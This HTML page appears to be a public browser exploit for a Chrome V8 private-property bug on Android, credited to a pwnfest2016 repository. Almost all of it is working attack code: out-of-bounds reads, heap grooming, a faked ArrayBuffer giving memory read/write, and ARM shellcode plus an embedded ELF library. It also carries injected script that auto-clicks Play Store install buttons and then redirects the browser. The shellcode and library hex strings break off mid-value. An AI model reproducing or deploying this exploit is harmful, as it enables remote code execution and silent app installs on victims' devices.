Google Chrome V8 private property arbitrary code execution exploit.
1e4aedd6967c580b0f8730f077203977
<html>
// Source: https://github.com/secmob/pwnfest2016/
<script>
function exploit(){
function to_hex(num){
return (num>>>0).toString(16);
}
function intarray_to_double(int_arr){
var uBuf = new Uint32Array(2);
var dBuf = new Float64Array(uBuf.buffer);
uBuf[0]=int_arr[0];
uBuf[1]=int_arr[1];
return dBuf[0];
}
function str_to_double(str){//leng of str must be 8
var dBuf = new Float64Array(1);
var u8Buf = new Uint8Array(dBuf.buffer);
for(var i=0;i<str.length;i++){
u8Buf[i] = str.charCodeAt(i);
}
return dBuf[0];
}
function double_to_array(value){
var uBuf = new Uint32Array(2);
var dBuf = new Float64Array(uBuf.buffer);
dBuf[0]=value;
return uBuf;
}
function gc(){
for(var i=0;i<0x100000/16;i++){
new String;
}
}
function getHiddenValue(){
var obj = {};
var oob = "/re/";
//oob = oob.replace("re","*".repeat(0x2000));
oob = oob.replace("re","*".repeat(0x100000));
var str = 'class x extends Array{'+oob+"}";
var fun = eval(str);
Object.assign(obj,fun);
return obj;
}
var obWin;
function makeOobString(){
var hiddenValue = getHiddenValue();
var magicStr = "bbbb";
var arr=[];
var str = 'class x extends Array{}';
for(var i=0;i<str.length;i++){
arr[i]=str.charCodeAt(i);
}
var ob = new Array(0x200);
ob.fill(0x31313131);
gc();
gc();
str=String.fromCharCode.apply(null,arr);
ob=ob.concat(0x32323232);
var fun = eval(str);
ob[2]=str;
ob[3]=ob;
Object.assign(fun,hiddenValue);
var oobString = fun.toString();
gc();
gc();
print("begin search");
var subStr = oobString.substr(0,0x8000);
var pos = subStr.indexOf(magicStr);
print("end search");
if(pos==-1){
print("find magic failed");
postMessage(false);
self.close();
print("unpossible");
throw "error";
}else{
print("find magic at "+pos);
}
oobString = oobString.substr(pos,ob.length*4);
obWin=ob;
return oobString;
}
var oobString = makeOobString();
print("get oob string successfully");
function print(){
console.log.apply(null,arguments);
/*document.write('<p >');
document.write.apply(document,arguments);
document.write("<p>");*/
}
function str2arr(str,len){//len must be multile of 4
if(len===undefined)
len = str.length;
var u8a = new Uint8Array(len);
for(var i=0;i<len;i++){
u8a[i] = str.charCodeAt(i);
}
return new Uint32Array(u8a.buffer);
}
function pArrayInHex(arr){
var result="<p style='font-size:8px'>";
for(var i=0;i<arr.length;i++){
result+=(arr[i]+0x100000000).toString(16).substr(-8);
result+=" ";
if(i%8==7)
result+="<p style='font-size:8px'>";
}
result+="<p>";
print(result);
//alert(result);
return result;
}
function pStrInHex(str){
//var result="<p style='font-size:8px'>";
var result="\n";
for(var i=0;i<str.length;i++){
var code = str.charCodeAt(i);
result+=(code+0x100).toString(16).substr(-2);
if(i%4==3)
result+=" ";
if(i%32==31)
// result+="<p style='font-size:8px'>";
result+="\n";
}
// result+="<p>";
result+="\n";
print(result);
return result;
}
function getObjAddr(obj){
obWin[0]=obj;
var value2= ((str2arr(oobString,4))[0]);
return value2>>>0;
}
var getObj24BitsAddr = function(){
var smi=0;
var code = 0;
var i=0;
//don't allocate heap object
function getAddr(obj){
obWin[0]=obj;
value=0;
code = 0;
i=0;
for(i=2;i>=0;i--){
code = oobString.charCodeAt(i);
value = code+value*256;
}
return value;
}
return getAddr;
}();
var lengthInOldSpace = 0xfffffffc;
var abarr=new Array(800);
function sprayVM(){
var i=0;
var j=0;
try{
for(i=0;i<20;i++){
var u8 = new Uint8Array(0x10000000-0x500);
abarr[i]=u8;
}
}catch(e){}
try{
for(j=0;j<100;j++){
var u8 = new Uint8Array(0x8000000-0x500);
abarr[i+j]=u8;
}
}catch(e){}
print("allocate "+i+" 256M "+j+" 16M ")
function getRandomInt(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min)) + min;
}
delete abarr[getRandomInt(0,i)];
}
function getNewSpaceAddrs(){
/*var kMaxRegularHeapObjectSize =523776;// 507136;
var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);
str+="%";*/
var objsInNewSpace = new Array(80);
for(var i=0;i<objsInNewSpace.length;i++){
//var xx=escape(str);
var xx = new Array(0x70000/4);
objsInNewSpace[i]=(getObjAddr(xx)&0xfff00000)>>>0;
//a1/2?newspaceae'c|>>aePS
new Uint8Array(0x100000-0x500);
new Uint8Array(0x100000-0x500);
}
function compareNumbers(a, b) {
return a - b;
}
objsInNewSpace = Array.from(new Set(objsInNewSpace));
objsInNewSpace = objsInNewSpace.sort(compareNumbers);
return objsInNewSpace;
}
print("begin get new space address");
var objsInNewSpace = getNewSpaceAddrs();
while(objsInNewSpace.length<16){
objsInNewSpace = getNewSpaceAddrs();
print("new space addresses");
pArrayInHex(objsInNewSpace);
}
try{
sprayVM();
}catch(e){}
var selectedTrunk = 0;
var selectedStr = "";
function bruteForceFengShui(){
var huge_str = "x".repeat(0x100000-0x9000);//-0x9000
huge_str +="%";
var hold = new Array(100);
//var holdaddress = new Array(100);
for(var i=0;;i++){
var large = escape(huge_str);
var addr = getObjAddr(large);
//console.log(addr.toString(16) + " "+i);
if(i<hold.length){
hold[i]=large;
//holdaddress[i]=addr;
}
addr=(addr&0xfff00000)>>>0;
addr = addr-0x100000;
if(objsInNewSpace.indexOf(addr)!=-1){
selectedTrunk = addr;
selectedStr = large;
abarr.fill(1);
hold.fill(1);
//holdaddress.fill(1);
break;
}
if(i===150){
/*i=0;
print("tried 200 times");
abarr.fill(1);
try{
sprayVM();
}catch(e){};*/
postMessage(false);
close();
throw "exceed limits";
}
}
}
bruteForceFengShui();
//to avoid allocate memory latter, initilize here
var nextTrunk = selectedTrunk + 0x100000;
//caea,aeP3a$?a$?SSca-e->>aaa
var huge_str = "eval('');";
//8000a,e1/2a$?aa$?SSi1/4a$?aa$?SSa1/4a1/2?new_spaceaC/a$?SS
for(var i=0;i<8000;i++) huge_str += 'a.a;';
huge_str += "return 10;";
var huge_func = new Function('a',huge_str);
huge_func({});
function fillNewSpace(origObj){
//first object in new space at 0x8100, new spaces layout
//0x40000
//0x37f00
//.....
//0x40000
var gap = "g".repeat(0x37f00-12-3);//12 is head of string,3 %25
var gap = gap+"%";
//flat gap
gap.substr(0,100);
var fillstr = "%20a".repeat((0x40000-12)/4);
fillstr = escape(fillstr);
var addr=0;
for(var i=0;i<0x100;i++){
addr = getObj24BitsAddr(origObj);
if((addr&0xfffff)===0x8101)
origObj=escape(gap);
else
origObj=unescape(fillstr);
}
}
function findNewSpace(){
var kMaxRegularHeapObjectSize =523776;// 507136;
var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);
str+="%";
for(var i=0;;i++){
var xx=escape(str);
var straddr = getObjAddr(xx);
addr=(straddr&0xfff00000)>>>0;
if(addr===selectedTrunk){
print("good state "+straddr.toString(16));
break;
}
}
}
function myencode(str){
var arr = [];
for(var i=0;i<str.length;i++){
if(i%2==1)
arr.push(str.charCodeAt(i));
else{
arr.push(37);//%
var hexstr = (str.charCodeAt(i)+0x100).toString(16).substr(-2);
arr.push(hexstr.charCodeAt(0));
arr.push(hexstr.charCodeAt(1));
}
}
return String.fromCharCode.apply(null,arr);
}
var dArray = [];
var index = (0x8100-36)*2;
for(var i=0;i<0x20000/8;i++){
dArray[i]=str_to_double("%03x%03x");
}
var occulen = 0;
var i = 0;
var savedChunk = new Uint8Array(0x8100);
var hiddenValue = getHiddenValue();
var arr=[];
fillNewSpace(new String);
findNewSpace();
var classStr = 'class x extends Array{}';
for(var i=0;i<classStr.length;i++){
arr[i]=classStr.charCodeAt(i);
}
var magicStr = String.fromCharCode(0x86,0x24);
classStr=String.fromCharCode.apply(null,arr);
var ab = new ArrayBuffer(0x1243);
var fun = eval(classStr);
Object.assign(fun,hiddenValue);
var oobStr = fun.toString();
/*(gdb) x/20xw 0x5600c45c array buffer layout
* 0x5600c45c: 0x4b009a9d 0x41008125 0x41008125 0x00000020
* 0x5600c46c: 0x09fda368 0x00000004 0x00000000 0x00000000
*/
//overwrite huge string as array buffer
var abLengthIndex = oobStr.indexOf(magicStr);
var strArrayBuffer = oobStr.substr(abLengthIndex-12,32);
//replace the byteLength
var LengthAddr = getObjAddr(lengthInOldSpace);
var strLength = String.fromCharCode(0xff&LengthAddr,(0xff00&LengthAddr)>>8,(0xff0000&LengthAddr)>>16,(0xff000000&LengthAddr)>>24);
var strBase = "\x00\x00\x00\x00";
strArrayBuffer = strArrayBuffer.substr(0,12)+strLength+strBase+strArrayBuffer.substr(20,12);
strArrayBuffer = myencode(strArrayBuffer);
for(var i=0;i<strArrayBuffer.length/8;i++){
var d = strArrayBuffer.substr(i*8,8);
dArray[index/8+i] = str_to_double(d);
}
var classStrAddr = getObjAddr(classStr)>>>0;
//set read position
var readOffset = 0x100000-((classStrAddr-1)&0xfffff)-12-0x40000;//12 string head
//length control the length of unscaped string, generated string has 12 bytes head
//left 0x1000*2 bytes to avoid gc
var subOobStr = oobStr.substr(readOffset,0x40000-24-0x2000);
//save the the chunk head to be corrupted
var nextThunkOffset = 0x100000-((classStrAddr-1)&0xfffff)-12;
var savedThunkStr = oobStr.substr(nextThunkOffset,0x8100);
for(var i =0;i<savedThunkStr.length;i++){
savedChunk[i] = savedThunkStr.charCodeAt(i);
}
var pos1=new String;
var pos1addr = getObj24BitsAddr(pos1)-1;
//0x10 size of JSArray, 0x10 size of String head, 8 ALLOCATION_MEMENTO_TYPE 8 fixedarray
occulen =0x100000-((pos1addr+0x10+0x10+0x8+0x8)&0xfffff);
//minus the length of double array
if(occulen<0x40000+16+8)
throw "no enough room";
occulen = occulen - 0x40000-16-8;//16 size of JSArray, 8 fixedarray
if(occulen%4!==0)
throw "length don't align";
var arrocc=new Array((occulen/4));
//set unescape write position
var occDoubleArray = dArray.concat();
var b=unescape(subOobStr);
//restore the corrupted chunk head
var u8 = new Uint8Array(selectedStr,nextTrunk,0x8100);
for(var i=0;i<savedChunk.length;i++){
u8[i] = savedChunk[i];
}
print("long string allocated at "+classStrAddr.toString(16));
if(typeof(selectedStr)==="string"){
print("overwrite failed");
postMessage(false);
close();
return;
//throw "overwrite failed";
}
var fakeab = selectedStr;
print("faked array buffer byte length is "+fakeab.byteLength.toString(16));
var globaldv = new Uint32Array(fakeab);
function read_uint32(from_address){
var u32 = globaldv[(from_address/4)>>>0];
return u32>>>0;
}
function read_uint8(from_address){
from_address = from_address>>>0;
var index = (from_address/4)>>>0;
var mask = from_address%4;
var u32 = globaldv[index];
u32 = u32<<8*(3-mask);
return u32>>>24;
}
function read_uint32_unalign(from_address){
var u32 = 0;
for(var i=3;i>=0;i--){
var u8 = read_uint8(from_address+i);
u32 = u32*0x100+u8;
}
return u32>>>0;
}
//rw to execute
//get function point of v8::internal::Accessors::ReconfigureToDataProperty
function getFixedFunctionPoint(fakeab){
var FunctionAddress = getObjAddr(Function);
var u32 = new Uint32Array(fakeab,FunctionAddress-1,0x1000);
var map = u32[0];
u32 = new Uint32Array(fakeab,map-1,0x1000);
//instance descriptors
var descriptors = u32[7];
u32 = new Uint32Array(fakeab,descriptors-1,0x1000);
var lengthAccessorInfo = u32[6];
u32 = new Uint32Array(fakeab,lengthAccessorInfo-1,0x1000);
var setterForeign = u32[4];
u32 = new Uint32Array(fakeab,setterForeign-1,0x1000);
var functionPoint = u32[1];
return functionPoint-1;
}
var funPoint = getFixedFunctionPoint(fakeab);
print("ReconfigureToDataProperty at"+funPoint.toString(16));
var pattern=[0x03,0x46,0x18,0xb1,0x20,0x46,0x98,0x47,0x04,0x46];//get_elf_hwcap_from_getauxval
var point = ((funPoint&~0xfff)-0xdb6000)>>>0;//cf0000
print("chrome.apk base at "+point.toString(16));
function find(startAddr,len,pattern){
for(var i=0; i<(len-pattern.length); i++ ) {
for(var j=0;j<pattern.length;j++){
var temp = read_uint8(startAddr+i+j);
//print(temp.toString(16));
if(temp!=pattern[j]) break;
}
if(j==pattern.length) return startAddr+i;
}
print("find failed");
}
var pattern_position=find(point,0x10000000,pattern);
print("find pattern at "+to_hex(pattern_position));
function get_dest_from_blx(addr) {
var val = read_uint32_unalign(addr);
var s = (val & 0x400) >> 10;
var i1 = 1 - (((val & 0x20000000) >> 29) ^ s);
var i2 = 1 - (((val & 0x8000000) >> 27) ^ s);
var i10h = val & 0x3ff;
var i10l = (val & 0x7fe0000) >> 17;
var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2);
return ((addr + 4) & ~3) + off;
}
function backup_original_code(start_address){
var backup_arr = [];
set_access_address(start_address);
var u8arr=new Uint8Array(faked_ab);
for(var i=0;i<shellcode.length+4096;i++){
backup_arr[i]=u8arr[i];
}
return backup_arr;
}
function restore_original_code(start_address,backup_arr){
set_access_address(start_address);
var u8arr=new Uint8Array(faked_ab);
for(var i=0;i<shellcode.length+4096;i++){
u8arr[i]=backup_arr[i];
}
}
huge_func({});
print("blx instruction content is "+to_hex(read_uint32_unalign(pattern_position-4)));
var dlsym_addr = get_dest_from_blx(pattern_position-4);
print("dlsym address is "+to_hex(dlsym_addr));
var huge_func_address = getObjAddr(huge_func)-1;
print("huge func address is "+to_hex(huge_func_address));
for(var i=0;i<20;i++){
print(to_hex(read_uint32(huge_func_address+i*4)));
}
var huge_func_code_entry = read_uint32(huge_func_address+7*4);//dynamic kCodeEntryOffset 3*4
print("huge func code entry is "+to_hex(huge_func_code_entry));
print(to_hex(read_uint32(huge_func_code_entry)));
//var so_str= "";
var shellcode = [0xf0,0x4f,0x2d,0xe9,0x79,0x30,0xa0,0xe3,0x8c,0x0b,0xdf,0xed,0x4b,0xdf,0x4d,0xe2,0x61,0x80,0xa0,0xe3,0x00,0x60,0xa0,0xe3,0x73,0x10,0xa0,0xe3,0x74,0x20,0xa0,0xe3,0x5f,0x90,0xa0,0xe3,0x61,0x30,0xcd,0xe5,0x65,0xa0,0xa0,0xe3,0x6d,0xb0,0xa0,0xe3,0x5b,0x30,0xcd,0xe5,0x6e,0xc0,0xa0,0xe3,0x6c,0x30,0xa0,0xe3,0xfa,0x80,0xcd,0xe5,0x64,0x70,0xa0,0xe3,0x72,0x50,0xa0,0xe3,0x60,0x10,0xcd,0xe5,0x6f,0x40,0xa0,0xe3,0x69,0xe0,0xa0,0xe3,0x62,0x10,0xcd,0xe5,0x67,0x80,0xa0,0xe3,0x5a,0x10,0xcd,0xe5,0x18,0x00,0x8d,0xe5,0x70,0x00,0xa0,0xe3,0x63,0x20,0xcd,0xe5,0x0a,0x21,0xcd,0xe5,0x64,0xa0,0xcd,0xe5,0x65,0xb0,0xcd,0xe5,0x5c,0xb0,0xcd,0xe5,0xf8,0x90,0xcd,0xe5,0xf9,0x90,0xcd,0xe5,0x01,0x91,0xcd,0xe5,0x05,0x91,0xcd,0xe5,0x20,0x90,0xa0,0xe3,0xfb,0xc0,0xcd,0xe5,0x09,0xc1,0xcd,0xe5,0xfc,0x70,0xcd,0xe5,0x00,0x71,0xcd,0xe5,0x58,0x70,0xcd,0xe5,0x78,0x70,0xa0,0xe3,0xfd,0x50,0xcd,0xe5,0x07,0x51,0xcd,0xe5,0xfe,0x40,0xcd,0xe5,0x03,0x41,0xcd,0xe5,0xff,0xe0,0xcd,0xe5,0x08,0xe1,0xcd,0xe5,0x02,0x31,0xcd,0xe5,0x59,0x30,0xcd,0xe5,0x66,0x60,0xcd,0xe5,0x0b,0x61,0xcd,0xe5,0x5d,0x60,0xcd,0xe5,0x04,0x81,0xcd,0xe5,0x25,0x80,0xa0,0xe3,0x1c,0x0b,0xcd,0xed,0xeb,0x10,0xcd,0xe5,0x18,0x10,0x9d,0xe5,0x9c,0x20,0xcd,0xe5,0x9f,0x20,0xcd,0xe5,0x18,0x20,0x9d,0xe5,0x98,0xb0,0xcd,0xe5,0x2c,0xb0,0xa0,0xe3,0x9d,0xa0,0xcd,0xe5,0xe8,0xe0,0xcd,0xe5,0x63,0xe0,0xa0,0xe3,0xe9,0xc0,0xcd,0xe5,0xe8,0xc0,0x8d,0xe2,0xed,0xa0,0xcd,0xe5,0x70,0xa0,0x8d,0xe2,0xee,0x30,0xcd,0xe5,0xef,0x30,0xcd,0xe5,0x68,0x30,0xa0,0xe3,0x34,0xc0,0x8d,0xe5,0x9e,0xe0,0xcd,0xe5,0xec,0x30,0xcd,0xe5,0x06,0x01,0xcd,0xe5,0x99,0x00,0xcd,0xe5,0x06,0x00,0xa0,0xe1,0x9a,0x50,0xcd,0xe5,0x00,0x50,0x91,0xe5,0x06,0x10,0xa0,0xe1,0x9b,0x40,0xcd,0xe5,0x04,0x40,0x92,0xe5,0x38,0xa0,0x8d,0xe5,0xea,0x90,0xcd,0xe5,0xf0,0x90,0xcd,0xe5,0xf1,0x80,0xcd,0xe5,0xf4,0x80,0xcd,0xe5,0xf2,0x70,0xcd,0xe5,0xf5,0x70,0xcd,0xe5,0xf3,0xb0,0xcd,0xe5,0xa0,0x60,0xcd,0xe5,0xf6,0x60,0xcd,0xe5,0x35,0xff,0x2f,0xe1,0x10,0x00,0x8d,0xe5,0x58,0x10,0x8d,0xe2,0x34,0xff,0x2f,0xe1,0x1c,0x00,0x8d,0xe5,0xf8,0x10,0x8d,0xe2,0x10,0x00,0x9d,0xe5,0x1c,0x90,0x9d,0xe5,0x39,0xff,0x2f,0xe1,0x18,0x80,0x9d,0xe5,0x30,0x00,0x8d,0xe5,0xe8,0x20,0x8d,0xe2,0x70,0x10,0x8d,0xe2,0x30,0xb0,0x9d,0xe5,0x02,0x00,0xa0,0xe3,0x04,0x70,0x98,0xe5,0x00,0x30,0x98,0xe5,0x00,0x70,0x8d,0xe5,0x3b,0xff,0x2f,0xe1,0x60,0x10,0x8d,0xe2,0x1c,0x50,0x9d,0xe5,0x10,0x00,0x9d,0xe5,0x35,0xff,0x2f,0xe1,0x00,0x20,0xa0,0xe1,0x70,0x10,0x8d,0xe2,0x02,0x30,0xa0,0xe1,0x02,0x00,0xa0,0xe3,0x00,0x20,0x8d,0xe5,0xe8,0x20,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0x98,0x10,0x8d,0xe2,0x1c,0x40,0x9d,0xe5,0x10,0x00,0x9d,0xe5,0x34,0xff,0x2f,0xe1,0x00,0xa0,0xa0,0xe1,0x18,0x00,0x9d,0xe5,0x07,0x20,0xa0,0xe3,0x0b,0x1a,0xa0,0xe3,0x10,0x50,0x90,0xe5,0xff,0xce,0xc5,0xe3,0x05,0x4a,0x85,0xe2,0x0f,0x30,0xcc,0xe3,0x01,0x0a,0x83,0xe2,0x3a,0xff,0x2f,0xe1,0xbc,0x72,0xd5,0xe1,0x1c,0x90,0x95,0xe5,0x06,0x00,0x57,0xe1,0x09,0x20,0x85,0xe0,0x06,0x00,0x00,0x1a,0x1b,0x00,0x00,0xea,0x65,0x78,0x70,0x6c,0x6f,0x69,0x74,0x00,0x01,0x60,0x86,0xe2,0x20,0x20,0x82,0xe2,0x07,0x00,0x56,0xe1,0x15,0x00,0x00,0x2a,0x00,0xe0,0x92,0xe5,0x01,0x00,0x5e,0xe3,0xf8,0xff,0xff,0x1a,0x10,0x80,0x92,0xe5,0x00,0x00,0x58,0xe3,0xf5,0xff,0xff,0x0a,0x00,0x00,0xa0,0xe3,0x04,0x70,0x92,0xe5,0x00,0xb0,0x85,0xe0,0x00,0xa0,0x84,0xe0,0x08,0x10,0x92,0xe5,0x01,0x00,0x80,0xe2,0x07,0xc0,0xdb,0xe7,0x01,0xc0,0xca,0xe7,0x10,0x30,0x92,0xe5,0x03,0x00,0x50,0xe1,0xf5,0xff,0xff,0x3a,0xbc,0x72,0xd5,0xe1,0x01,0x60,0x86,0xe2,0x20,0x20,0x82,0xe2,0x07,0x00,0x56,0xe1,0xe9,0xff,0xff,0x3a,0x5f,0xe0,0xa0,0xe3,0x1f,0x0b,0x1f,0xed,0x61,0xb0,0xa0,0xe3,0x72,0x60,0xa0,0xe3,0x00,0x90,0xa0,0xe3,0x10,0x00,0x9d,0xe5,0x64,0xa0,0xa0,0xe3,0x74,0x70,0xa0,0xe3,0x10,0xe1,0xcd,0xe5,0x6e,0x80,0xa0,0xe3,0x69,0x30,0xa0,0xe3,0x11,0xe1,0xcd,0xe5,0x6f,0xc0,0xa0,0xe3,0x6c,0x20,0xa0,0xe3,0x19,0xe1,0xcd,0xe5,0x1d,0xe1,0xcd,0xe5,0x67,0xe0,0xa0,0xe3,0x1e,0x0b,0x8d,0xed,0x12,0xb1,0xcd,0xe5,0x70,0xb0,0xa0,0xe3,0x11,0x1e,0x8d,0xe2,0x14,0xa1,0xcd,0xe5,0x18,0xa1,0xcd,0xe5,0x15,0x61,0xcd,0xe5,0x1f,0x61,0xcd,0xe5,0x16,0xc1,0xcd,0xe5,0x1b,0xc1,0xcd,0xe5,0x1c,0xc0,0x9d,0xe5,0x17,0x31,0xcd,0xe5,0x20,0x31,0xcd,0xe5,0x1a,0x21,0xcd,0xe5,0x1c,0xe1,0xcd,0xe
var so_str = "7f454c460101010000000000000000000300280001000000000000003400000044110000000000053400200008002800150014000600000034000000340000003400000000010000000100000400000004000000030000003401000034010000340100001300000013000000040000000100000001000000000000000000000000000000d80d0000d80d0000050000000010000001000000a40e0000a41e0000a41e00006c01000082010000060000000010000002000000a80e0000a81e0000a81e00002801000028010000060000000400000051e574640000000000000000000000000000000000000000060000000000000001000070d40c0000d40c0000d40c00002000000020000000040000000400000052e57464a40e0000a41e0000a41e00005c0100005c01000006000000040000002f73797374656d2f62696e2f6c696e6b657200000000000000000000000000000000000001000000000000000000000012000000100000000000000000000000120000001d00000000000000000000001200000034000000000000000000000012000000480000000000000000000000120000004f000000000000000000000012000000560000000000000000000000120000005d000000a00800003404000012000800650000000000000000000000120000006e0000000000000000000000120000007f0000000000000000000000110000009100000010200000000000001000f1ff9800000010200000000000001000f1ffa400000026200000000000001000f1ff005f5f6378615f66696e616c697a65005f5f6378615f617465786974005f5f61656162695f756e77696e645f6370705f707230005f5f616e64726f69645f6c6f675f7072696e74006d616c6c6f63006d656d736574006d656d63707900736f5f6d61696e006d70726f74656374005f5f737461636b5f63686b5f6661696c005f5f737461636b5f63686b5f6775617264005f6564617461005f5f6273735f7374617274005f656e64006c6962632e736f006c69626d2e736f006c6962737464632b2b2e736f006c69626d656469616e646b2e736f006c69627574696c732e736f006c696262696e6465722e736f006c69626d656469612e736f006c696273746167656672696768742e736f006c696273746167656672696768745f666f756e646174696f6e2e736f006c6962637574696c732e736f006c6962696e7075742e736f006c6962646c2e736f006c6962616e64726f69645f72756e74696d652e736f0072636532757873732e736f00000000030000000f0000000c0000000e0000000d0000000000000000000000000000000200000001000000040000000000000006000000050000000800000007000000030000000a000000090000000b000000a41e0000170000000020000017000000d01f0000150b0000e01f000016010000e41f000016020000e81f000016040000ec1f000016050000f01f000016060000f41f000016070000f81f000016090000fc1f0000160a000004e02de504e09fe50ee08fe008f0bee5741b000000c68fe201ca8ce274fbbce500c68fe201ca8ce26cfbbce500c68fe201ca8ce264fbbce500c68fe201ca8ce25cfbbce500c68fe201ca8ce254fbbce500c68fe201ca8ce24cfbbce500c68fe201ca8ce244fbbce500c68fe201ca8ce23cfbbce500482de904b08de20c309fe503308fe00300a0e1e1ffffeb0088bde8281b000000482de904b08de208d04de208000be508301be5000053e30100000a08301be533ff2fe104d04be20088bde800482de904b08de208d04de208000be528309fe503308fe00300a0e108101be51c309fe503308fe00320a0e1cbffffeb0030a0e10300a0e104d04be20088bde8b8ffffffc41a000020d04de20c008de508108de504208de500308de50030a0e31730cde50030a0e318308de5210000ea0030a0e31c308de50030a0e31c308de50f0000ea18209de51c309de5033082e004209de5033082e00020d3e50c109de51c309de5033081e00030d3e5030052e10000000a060000ea1c309de5013083e21c308de51c209de508309de5030052e1ebffff3a1c209de508309de5030052e10100001a18309de5090000ea18309de5013083e218308de518209de508309de5032082e000309de5030052e1d7ffff9a0030e0e30300a0e120d08de21eff2fe104e02de524d04de20c008de508108de514329fe503308fe0003093e50320a0e108329fe503308fe002c0a0e10700b3e800008ce504108ce508208ce5f0319fe503308fe00030d3e5013023e27330efe6000053e36900000ad8319fe503308fe00120a0e30020c3e508309de500308de50600a0e3c0319fe503308fe00310a0e1b8319fe503308fe00320a0e10c309de56dffffeb08309de5003093e510308de510309de5043083e2003093e514308de510309de50c3083e218308de518309de500308de50600a0e374319fe503308fe00310a0e16c319fe503308fe00320a0e114309de558ffffeb5c319fe503308fe0002093e514309de5033082e00300a0e154ffffeb0030a0e11c308de53c319fe503308fe0002093e514309de5033082e01c009de50010a0e30320a0e14cffffeb10309de51c009de50310a0e10c20a0e34affffeb1c309de50c1083e200319fe503308fe0002093e5f8309fe503308fe0003093e50100a0e10210a0e10320a0e13effffebe0309fe503308fe0003093e50c3083e21c209de5032082e018309de50200a0e10310a0e114209de533ffffeb1c309de5043083e2b0209fe502208fe0001092e514209de5022081e0002083e51c309de5043083e20
var arrayBuffer = new ArrayBuffer(0x1000000);
var arrayBufferAddress = getObjAddr(arrayBuffer)-1;
var backingStoreAddress = read_uint32(arrayBufferAddress+4*4);
var args_address = backingStoreAddress+1024;
function write_shellcode(dlsym_addr,buffer){
//ldr r0,[pc,4]//0xe59f0004
//ldr r1,[pc,4]//0xe59f1004
//b shellcode;//0xea000001
//dlopen_addr//array_buffer_address
//dlsym_addr
//shellcode
//var stub=[0xe59f0004,0xe59f1004,0xea000001,dlsym_addr+0xc,dlsym_addr];
var stub=[0xe59f0004,0xe59f1004,0xea000001,args_address,0x1000000];
for(var i=0;i<stub.length;i++){
globaldv[buffer/4+i]=stub[i];
}
shellcode = shellcode.concat([0,0,0,0]);
for(var i=0;i<shellcode.length/4>>>0;i++){
// u8arr[i+4*stub.length]=shellcode[i];
globaldv[buffer/4+stub.length+i] = (shellcode[4*i+3]<<24)+(shellcode[4*i+2]<<16)+(shellcode[4*i+1]<<8)+(shellcode[4*i]);
}
return stub.length*4+shellcode.length;
}
function xss_code(){
//alert(navigator.userAgent);
//alert(document.cookie);
var i1=setInterval(function(){
if(!(document&&document.body&&document.body.innerHTML&&document.body.innerHTML.match(/This app is compatible/)!=null)){
console.log("wait load complete");
return;
}
clearInterval(i1);
var i2=setInterval(function(){
document.getElementsByClassName("price buy id-track-click")[0].click();
var installButton = document.getElementById("purchase-ok-button");
if(installButton == null)
return;
installButton.click();
document.write("<h1>The app will be installed shortly, Pwned by 360 Alpha Team</h1>");
clearInterval(i2);
setTimeout(function(){
window.open("intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end");
},26000);
},500);
},500);
}
var js_str="\n"+xss_code.toString()+"xss_code();\n";
//var backup_arr = backup_original_code(huge_func_code_entry);
var writed_len = write_shellcode(dlsym_addr,huge_func_code_entry);
var args_view = new DataView(arrayBuffer,1024,100);
var so_file_view = new DataView(arrayBuffer,4096);
var js_view = new DataView(arrayBuffer,0x100000);
args_view.setUint32(0,dlsym_addr+0xc,true);
args_view.setUint32(4,dlsym_addr,true);
args_view.setUint32(8,huge_func_code_entry,true);
args_view.setUint32(12,writed_len,true);
args_view.setUint32(16,backingStoreAddress+4096,true);
args_view.setUint32(20,so_str.length/2,true);
args_view.setUint32(24,backingStoreAddress+0x100000,true);
args_view.setUint32(28,js_str.length,true);
print("length is "+so_str.length);
for(var i=0;i<so_str.length;i+=2){
var value = so_str.substr(i,2);
value = "0x"+value;
so_file_view.setUint8(i/2,parseInt(value));
}
for(var i=0;i<js_str.length;i++){
js_view.setUint8(i,js_str.charCodeAt(i));
}
print("begin execute shellcode");
huge_func({});
print("done");
postMessage(true);
//prevent arrayBuffer to be released
while(1){}
}
//main world
function print(){
console.log.apply(null,arguments);
document.write('<p >');
document.write.apply(document,arguments);
document.write("<p>");
}
// Build a worker from an anonymous function body
var blobURL = URL.createObjectURL( new Blob([ '(',exploit.toString(),')()' ], { type: 'application/javascript' } ) );
var worker;
var exploitSucc = false;
var count = 0;
function startExploit(){
print("worker thread is started");
worker = new Worker( blobURL );
count++;
worker.onmessage = function(e){
print("exploit result is "+e.data);
exploitSucc = e.data;
if(exploitSucc==false){
startExploit();
return;
}
var end = +new Date();
print("time diff is "+(end-begin)/1000);
//top.location='https://play.google.com/store/apps/details?id=com.google.zxing.client.android';
top.location='https://play.google.com/store/apps/details?id=com.kitkats.qrscanner';
}
}
var begin = +new Date();
startExploit();
var savedCount = 0;
var hangMonitor = setInterval(function (){
if(exploitSucc==true){
clearInterval(hangMonitor);
}else{
if(savedCount==count){//maybe hang
print("worker maybe hange");
worker.terminate();
startExploit();
}else{
print("worker is normal");
savedCount = count;
}
}
},10000);
//URL.revokeObjectURL( blobURL );
</script>
</html>